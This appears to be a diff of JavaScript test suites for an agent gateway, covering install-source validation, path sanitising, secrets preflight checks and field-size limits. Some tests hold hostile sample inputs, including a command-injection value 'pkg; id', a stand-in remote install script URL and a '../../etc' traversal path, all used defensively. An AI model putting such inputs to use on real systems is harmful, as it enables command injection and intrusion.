test('an https URL that is not a tarball is refused', () => {
|
|
93
|
+
assert.ok(!ok('https://evil.example/install.sh'));
|
|
94
|
+
});
|
|
95
|
+
test('empty and whitespace-padded values are refused', () => {
|
|
96
|
+
assert.ok(!ok(''));
|
|
97
|
+
assert.ok(!ok(' '));
|
|
98
|
+
assert.ok(!ok(' openclaw'));
|
|
99
|
+
assert.ok(!ok('openclaw '));
|
|
100
|
+
assert.ok(!ok('openclaw --foo'));
|
|
101
|
+
});
|
|
102
|
+
test('every refusal names the accepted forms', () => {
|
|
103
|
+
for (const bad of ['pkg; id', '', 'openclaw ', 'https://evil.example/install.sh']) {
|
|
104
|
+
const result = (0, installSource_1.validateAnywhereInstallSource)(bad);
|
|
105
|
+
assert.strictEqual(result.ok, false, bad);
|
|
106
|
+
if (!result.ok) {
|
|
107
|
+
assert.ok(result.reason.includes('npm specifier'), `the message for ${JSON.stringify(bad)} must tell the user what IS accepted`);
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
});
|
|
111
|
+
});
|
|
@@ -80,7 +80,7 @@ function resetHarnessState() {
|
|
|
80
80
|
configValues.clear();
|
|
81
81
|
configValues.set("hidden", false);
|
|
82
82
|
configValues.set("enabled", false);
|
|
83
|
-
configValues.set("installSource", "
|
|
83
|
+
configValues.set("installSource", "@agenthippo-ai/hippoclaw@latest");
|
|
84
84
|
configValues.set("port", 18789);
|
|
85
85
|
configValues.set("autoStart", false);
|
|
86
86
|
informationHandler = undefined;
|
|
@@ -63,6 +63,13 @@ suite('Gateway outbound paths', () => {
|
|
|
63
63
|
test('safeGatewaySessionDirId sanitizes gateway session keys', () => {
|
|
64
64
|
assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('agent:data-analyst:slack:channel:C999'), 'agent_data-analyst_slack_channel_C999');
|
|
65
65
|
});
|
|
66
|
+
test('safeGatewaySessionDirId rejects dot-only keys (path traversal)', () => {
|
|
67
|
+
assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('.'), '_');
|
|
68
|
+
assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('..'), '__');
|
|
69
|
+
// Slash-separated traversal collapses via the char class, never into dot segments.
|
|
70
|
+
assert.strictEqual((0, outboundPaths_js_1.safeGatewaySessionDirId)('../../etc'), '.._.._etc');
|
|
71
|
+
assert.strictEqual((0, outboundPaths_js_1.getGatewayOutboundFilePath)('/tmp/ws', (0, outboundPaths_js_1.safeGatewaySessionDirId)('..')), '/tmp/ws/.agent-hippo/sessions/__/gateway-outbound.json');
|
|
72
|
+
});
|
|
66
73
|
test('resolveGatewayOutboundFilePath prefers chat session id', () => {
|
|
67
74
|
const file = (0, outboundPaths_js_1.resolveGatewayOutboundFilePath)({
|
|
68
75
|
workspaceRoot: '/tmp/ws',
|
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/*---------------------------------------------------------------------------------------------
|
|
3
|
+
* Copyright (c) AgentHippo.ai. All rights reserved.
|
|
4
|
+
*--------------------------------------------------------------------------------------------*/
|
|
5
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
6
|
+
if (k2 === undefined) k2 = k;
|
|
7
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
8
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
9
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
10
|
+
}
|
|
11
|
+
Object.defineProperty(o, k2, desc);
|
|
12
|
+
}) : (function(o, m, k, k2) {
|
|
13
|
+
if (k2 === undefined) k2 = k;
|
|
14
|
+
o[k2] = m[k];
|
|
15
|
+
}));
|
|
16
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
17
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
18
|
+
}) : function(o, v) {
|
|
19
|
+
o["default"] = v;
|
|
20
|
+
});
|
|
21
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
22
|
+
var ownKeys = function(o) {
|
|
23
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
24
|
+
var ar = [];
|
|
25
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
26
|
+
return ar;
|
|
27
|
+
};
|
|
28
|
+
return ownKeys(o);
|
|
29
|
+
};
|
|
30
|
+
return function (mod) {
|
|
31
|
+
if (mod && mod.__esModule) return mod;
|
|
32
|
+
var result = {};
|
|
33
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
34
|
+
__setModuleDefault(result, mod);
|
|
35
|
+
return result;
|
|
36
|
+
};
|
|
37
|
+
})();
|
|
38
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
|
+
const assert = __importStar(require("assert"));
|
|
40
|
+
const secretsPreflight_js_1 = require("../gateway/secretsPreflight.js");
|
|
41
|
+
function slackConfig(enabled = true) {
|
|
42
|
+
return {
|
|
43
|
+
channels: {
|
|
44
|
+
slack: {
|
|
45
|
+
...(enabled === undefined ? {} : { enabled }),
|
|
46
|
+
botToken: { source: 'env', provider: 'default', id: 'SLACK_BOT_TOKEN' },
|
|
47
|
+
appToken: { source: 'env', provider: 'default', id: 'SLACK_APP_TOKEN' },
|
|
48
|
+
},
|
|
49
|
+
telegram: {
|
|
50
|
+
enabled: true,
|
|
51
|
+
botToken: '1234:literal-token',
|
|
52
|
+
},
|
|
53
|
+
},
|
|
54
|
+
};
|
|
55
|
+
}
|
|
56
|
+
suite('Gateway secrets preflight', () => {
|
|
57
|
+
test('reports enabled channel env refs missing from env', () => {
|
|
58
|
+
const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(), {});
|
|
59
|
+
assert.deepStrictEqual(missing, [
|
|
60
|
+
{ channel: 'slack', envVars: ['SLACK_APP_TOKEN', 'SLACK_BOT_TOKEN'] },
|
|
61
|
+
]);
|
|
62
|
+
});
|
|
63
|
+
test('resolved and whitespace-only env values', () => {
|
|
64
|
+
const env = { SLACK_BOT_TOKEN: 'xoxb-1', SLACK_APP_TOKEN: ' ' };
|
|
65
|
+
const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(), env);
|
|
66
|
+
assert.deepStrictEqual(missing, [{ channel: 'slack', envVars: ['SLACK_APP_TOKEN'] }]);
|
|
67
|
+
});
|
|
68
|
+
test('skips channels with enabled: false', () => {
|
|
69
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(false), {}), []);
|
|
70
|
+
});
|
|
71
|
+
test('channel without explicit enabled counts as enabled', () => {
|
|
72
|
+
const missing = (0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(slackConfig(undefined), {});
|
|
73
|
+
assert.strictEqual(missing.length, 1);
|
|
74
|
+
assert.strictEqual(missing[0].channel, 'slack');
|
|
75
|
+
});
|
|
76
|
+
test('literal token strings and non-env sources are not refs', () => {
|
|
77
|
+
const config = {
|
|
78
|
+
channels: {
|
|
79
|
+
custom: {
|
|
80
|
+
enabled: true,
|
|
81
|
+
token: 'literal',
|
|
82
|
+
other: { source: 'keychain', id: 'IGNORED_KEY' },
|
|
83
|
+
},
|
|
84
|
+
},
|
|
85
|
+
};
|
|
86
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(config, {}), []);
|
|
87
|
+
});
|
|
88
|
+
test('finds refs nested in arrays and deep objects', () => {
|
|
89
|
+
const config = {
|
|
90
|
+
channels: {
|
|
91
|
+
custom: {
|
|
92
|
+
enabled: true,
|
|
93
|
+
accounts: [{ auth: { token: { source: 'env', id: 'DEEP_TOKEN' } } }],
|
|
94
|
+
},
|
|
95
|
+
},
|
|
96
|
+
};
|
|
97
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(config, {}), [
|
|
98
|
+
{ channel: 'custom', envVars: ['DEEP_TOKEN'] },
|
|
99
|
+
]);
|
|
100
|
+
});
|
|
101
|
+
test('non-object configs and configs without channels yield nothing', () => {
|
|
102
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)(undefined, {}), []);
|
|
103
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)('nope', {}), []);
|
|
104
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.collectMissingChannelEnvSecrets)({ agents: {} }, {}), []);
|
|
105
|
+
});
|
|
106
|
+
test('parseStrictJsonConfig rejects JSON5 comments', () => {
|
|
107
|
+
assert.strictEqual((0, secretsPreflight_js_1.parseStrictJsonConfig)('{ /* hi */ "a": 1 }'), undefined);
|
|
108
|
+
assert.deepStrictEqual((0, secretsPreflight_js_1.parseStrictJsonConfig)('{ "a": 1 }'), { a: 1 });
|
|
109
|
+
});
|
|
110
|
+
test('disableChannelsInConfigText disables only the named channels', () => {
|
|
111
|
+
const content = JSON.stringify(slackConfig(), null, 2);
|
|
112
|
+
const updated = (0, secretsPreflight_js_1.disableChannelsInConfigText)(content, ['slack']);
|
|
113
|
+
assert.ok(updated);
|
|
114
|
+
const parsed = JSON.parse(updated);
|
|
115
|
+
assert.strictEqual(parsed.channels.slack.enabled, false);
|
|
116
|
+
assert.strictEqual(parsed.channels.telegram.enabled, true);
|
|
117
|
+
// Secret refs stay in place so re-enabling is a one-flag change.
|
|
118
|
+
assert.deepStrictEqual(parsed.channels.slack.botToken, {
|
|
119
|
+
source: 'env',
|
|
120
|
+
provider: 'default',
|
|
121
|
+
id: 'SLACK_BOT_TOKEN',
|
|
122
|
+
});
|
|
123
|
+
});
|
|
124
|
+
test('disableChannelsInConfigText refuses non-strict-JSON content', () => {
|
|
125
|
+
assert.strictEqual((0, secretsPreflight_js_1.disableChannelsInConfigText)('{ /* comment */ "channels": {} }', ['slack']), undefined);
|
|
126
|
+
});
|
|
127
|
+
});
|
|
@@ -38,6 +38,24 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
38
38
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
39
|
const assert = __importStar(require("assert"));
|
|
40
40
|
const bridge_js_1 = require("../gateway/bridge.js");
|
|
41
|
+
suite('Gateway agent.run validation', () => {
|
|
42
|
+
test('accepts a well-formed run and ignores absent fields', () => {
|
|
43
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ message: 'hi' }), undefined);
|
|
44
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({
|
|
45
|
+
message: 'hi',
|
|
46
|
+
sessionKey: 'agent:data-analyst:slack:dm:u01',
|
|
47
|
+
senderId: 'U01',
|
|
48
|
+
threadId: undefined,
|
|
49
|
+
}), undefined);
|
|
50
|
+
});
|
|
51
|
+
test('names the first identifier that is over-long or not a string', () => {
|
|
52
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ sessionKey: 'x'.repeat(bridge_js_1.MAX_GATEWAY_ID_CHARS + 1) }), 'sessionKey');
|
|
53
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ channel: { evil: true } }), 'channel');
|
|
54
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ senderId: 12345 }), 'senderId');
|
|
55
|
+
// At the limit exactly is still acceptable.
|
|
56
|
+
assert.strictEqual((0, bridge_js_1.findOversizedRunField)({ target: 'x'.repeat(bridge_js_1.MAX_GATEWAY_ID_CHARS) }), undefined);
|
|
57
|
+
});
|
|
58
|
+
});
|
|
41
59
|
suite('Gateway session routing', () => {
|
|
42
60
|
test('looksLikeGatewayChannelRouteKey detects Slack channel keys', () => {
|
|
43
61
|
assert.strictEqual((0, bridge_js_1.looksLikeGatewayChannelRouteKey)('agent:ide-ws-data-analyst:slack:channel:c0b1smmjcq0'), true);
|